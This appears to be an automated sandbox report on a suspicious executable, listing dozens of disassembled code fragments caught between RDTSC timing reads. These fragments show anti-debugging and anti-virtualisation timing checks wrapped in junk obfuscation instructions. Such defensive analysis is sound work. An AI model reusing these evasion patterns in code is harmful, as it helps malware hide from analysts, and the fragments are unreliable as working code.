Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 724137 second address: 72414C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 724150 second address: 72415A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7290766B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 727476 second address: 7274D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F7290C62CB5h 0x0000000b jmp 00007F7290C62CAFh 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 add ebx, 5FC6B88Ah 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F7290C62CA8h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 00000019h 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 mov dword ptr [ebp+150D23E9h], esi 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F7290C62CACh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7285C0 second address: 7285CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F7290C62CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 729503 second address: 72950D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F7290766B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 72950D second address: 72958E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+150D183Dh], ecx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F7290C62CA8h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d jmp 00007F7290C62CB0h 0x00000032 push 00000000h 0x00000034 jl 00007F7290C62CABh 0x0000003a mov ebx, 36ACC9E0h 0x0000003f xchg eax, esi 0x00000040 push esi 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 pop edx 0x00000045 pop esi 0x00000046 push eax 0x00000047 pushad 0x00000048 push eax 0x00000049 jmp 00007F7290C62CB0h 0x0000004e pop eax 0x0000004f pushad 0x00000050 jmp 00007F7290C62CB7h 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 72A369 second address: 72A3F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F7290766B28h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 jmp 00007F7290766B37h 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebp 0x0000002c call 00007F7290766B28h 0x00000031 pop ebp 0x00000032 mov dword ptr [esp+04h], ebp 0x00000036 add dword ptr [esp+04h], 0000001Ch 0x0000003e inc ebp 0x0000003f push ebp 0x00000040 ret 0x00000041 pop ebp 0x00000042 ret 0x00000043 jmp 00007F7290766B2Dh 0x00000048 adc edi, 10577C86h 0x0000004e push 00000000h 0x00000050 mov ebx, dword ptr [ebp+150D2495h] 0x00000056 push eax 0x00000057 push edi 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 72B5B0 second address: 72B633 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7290C62CA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sub dword ptr [ebp+152619CCh], esi 0x00000011 mov ebx, edx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov edi, 6845E4E5h 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 mov edi, dword ptr [ebp+150D2A46h] 0x0000002c mov eax, dword ptr [ebp+150D0685h] 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007F7290C62CA8h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 00000014h 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c push FFFFFFFFh 0x0000004e mov edi, dword ptr [ebp+150D1ABBh] 0x00000054 pushad 0x00000055 ja 00007F7290C62CABh 0x0000005b mov eax, dword ptr [ebp+150D1BC2h] 0x00000061 popad 0x00000062 nop 0x00000063 push ecx 0x00000064 push ebx 0x00000065 ja 00007F7290C62CA6h 0x0000006b pop ebx 0x0000006c pop ecx 0x0000006d push eax 0x0000006e pushad 0x0000006f push edi 0x00000070 je 00007F7290C62CA6h 0x00000076 pop edi 0x00000077 pushad 0x00000078 push eax 0x00000079 push edx 0x0000007a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 731C87 second address: 731CA8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7290766B2Ch 0x00000008 jnp 00007F7290766B26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7290766B2Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 741A0E second address: 741A3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7290C62CAAh 0x00000008 jl 00007F7290C62CA6h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F7290C62CB5h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 74115F second address: 741170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290C62CABh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7412CC second address: 7412E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290766B2Ch 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7415BD second address: 7415C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F7290C62CA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7415CE second address: 7415E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7290C62CACh 0x0000000e jnc 00007F7290C62CA6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7415E9 second address: 7415F3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7290766B26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7470EC second address: 747108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7290766B38h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 747108 second address: 747124 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7290C62CB0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 74DE55 second address: 74DE5F instructions: 0x00000000 rdtsc 0x00000002 js 00007F7290766B32h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 74DE5F second address: 74DE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7290C62CA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F7290C62CA6h 0x00000012 jmp 00007F7290C62CB3h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7527FC second address: 75282E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7290766B36h 0x0000000c jmp 00007F7290766B35h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 753372 second address: 753389 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7290C62CA6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d pushad 0x0000000e push ebx 0x0000000f jl 00007F7290C62CA6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75339C second address: 7533A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7290766B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75352C second address: 753566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7290C62CB6h 0x0000000b push edi 0x0000000c pushad 0x0000000d jmp 00007F7290C62CAEh 0x00000012 jmp 00007F7290C62CACh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7522A0 second address: 7522AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F7290766B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75B90F second address: 75B92F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290C62CB1h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c js 00007F7290C62CAEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75B93F second address: 75B951 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jnc 00007F7290766B26h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75BACE second address: 75BB0A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F7290C62CB7h 0x00000008 jmp 00007F7290C62CB3h 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007F7290C62CA6h 0x00000016 jng 00007F7290C62CA6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75BC75 second address: 75BC86 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jbe 00007F7290766B26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75BF01 second address: 75BF1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F7290C62CB2h 0x0000000b jbe 00007F7290C62CA6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75BF1F second address: 75BF2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F7290766B26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75C520 second address: 75C538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7290766B30h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75C942 second address: 75C99F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B35h 0x00000007 jc 00007F7290766B26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 jmp 00007F7290766B39h 0x00000015 jmp 00007F7290766B39h 0x0000001a pop edi 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e pop edx 0x0000001f popad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push esi 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75C99F second address: 75C9BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 712DA8 second address: 712E1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnp 00007F7290766B39h 0x00000010 jmp 00007F7290766B33h 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 pushad 0x0000001a push edi 0x0000001b jnl 00007F7290766B26h 0x00000021 pop edi 0x00000022 pushad 0x00000023 jmp 00007F7290766B35h 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b popad 0x0000002c mov eax, dword ptr [eax] 0x0000002e jmp 00007F7290766B32h 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 pushad 0x00000038 push edx 0x00000039 push esi 0x0000003a pop esi 0x0000003b pop edx 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 712EF7 second address: 712F15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F7290766B2Bh 0x00000011 jno 00007F7290766B26h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7132C2 second address: 7132D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F7290C62CA6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7132D1 second address: 713316 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7290766B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e movsx edx, cx 0x00000011 push 00000004h 0x00000013 mov dword ptr [ebp+150D228Dh], eax 0x00000019 pushad 0x0000001a add dword ptr [ebp+150D24C1h], ebx 0x00000020 jmp 00007F7290766B34h 0x00000025 popad 0x00000026 nop 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F7290766B2Dh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 713316 second address: 713321 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F7290C62CA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 713AD7 second address: 713B4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnc 00007F7290C62CBAh 0x00000010 nop 0x00000011 mov edx, dword ptr [ebp+150D291Eh] 0x00000017 or dx, AFC1h 0x0000001c lea eax, dword ptr [ebp+15280494h] 0x00000022 push 00000000h 0x00000024 push edx 0x00000025 call 00007F7290C62CA8h 0x0000002a pop edx 0x0000002b mov dword ptr [esp+04h], edx 0x0000002f add dword ptr [esp+04h], 00000016h 0x00000037 inc edx 0x00000038 push edx 0x00000039 ret 0x0000003a pop edx 0x0000003b ret 0x0000003c mov edx, dword ptr [ebp+150D271Fh] 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 je 00007F7290C62CA6h 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 764037 second address: 764051 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7290766B26h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jo 00007F7290766B26h 0x00000013 jc 00007F7290766B26h 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 764894 second address: 7648AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7290766B33h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7648AB second address: 7648BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F7290C62CA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F7290C62CA6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 769D51 second address: 769D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F7290766B2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7290766B37h 0x00000012 jmp 00007F7290766B2Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6D5889 second address: 6D58CD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F7290766B2Eh 0x0000000c pop edi 0x0000000d push edi 0x0000000e jmp 00007F7290766B38h 0x00000013 pop edi 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F7290766B31h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 76F30B second address: 76F315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7290C62CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 76F32B second address: 76F34D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290766B2Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F7290766B2Ah 0x00000014 push edi 0x00000015 pop edi 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 76F5F3 second address: 76F60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7290C62CAAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 76F77C second address: 76F7B7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7290C62CA6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F7290C62CADh 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 pushad 0x0000001a jc 00007F7290C62CA6h 0x00000020 pushad 0x00000021 popad 0x00000022 jl 00007F7290C62CA6h 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d jg 00007F7290C62CA6h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 76FC42 second address: 76FC53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F7290766B2Ah 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7757B5 second address: 775805 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F7290C62CACh 0x00000012 jc 00007F7290C62CA6h 0x00000018 jmp 00007F7290C62CB0h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F7290C62CADh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6C7FCF second address: 6C7FE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jng 00007F7290766B26h 0x0000000c je 00007F7290766B26h 0x00000012 popad 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6C7FE9 second address: 6C7FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F7290C62CA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6C7FF4 second address: 6C8021 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jns 00007F7290766B3Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7742CD second address: 774324 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B38h 0x00000007 jns 00007F7290766B26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 jmp 00007F7290766B37h 0x00000015 jmp 00007F7290766B39h 0x0000001a pop esi 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 77448C second address: 7744C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F7290766B62h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7290766B36h 0x00000018 jmp 00007F7290766B30h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 774615 second address: 77462B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290C62CB2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 77463F second address: 77464E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CABh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7134BF second address: 71355F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7290766B26h 0x0000000a popad 0x0000000b jns 00007F7290766B38h 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 mov ebx, dword ptr [ebp+1528048Fh] 0x0000001b js 00007F7290766B2Ah 0x00000021 mov di, A0DFh 0x00000025 add eax, ebx 0x00000027 mov dword ptr [ebp+150D1F6Eh], ecx 0x0000002d push eax 0x0000002e push edi 0x0000002f jmp 00007F7290766B2Ch 0x00000034 pop edi 0x00000035 mov dword ptr [esp], eax 0x00000038 mov edx, dword ptr [ebp+150D2247h] 0x0000003e push 00000004h 0x00000040 push 00000000h 0x00000042 push ebx 0x00000043 call 00007F7290766B28h 0x00000048 pop ebx 0x00000049 mov dword ptr [esp+04h], ebx 0x0000004d add dword ptr [esp+04h], 0000001Ah 0x00000055 inc ebx 0x00000056 push ebx 0x00000057 ret 0x00000058 pop ebx 0x00000059 ret 0x0000005a cld 0x0000005b nop 0x0000005c ja 00007F7290766B3Dh 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 push ebx 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 774ABA second address: 774ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jo 00007F7290766B26h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 774AD7 second address: 774AE7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7290C62CA6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7754A8 second address: 7754B5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7290C62CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7754CF second address: 7754DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F7290C62CA6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 777F60 second address: 777F78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B2Fh 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
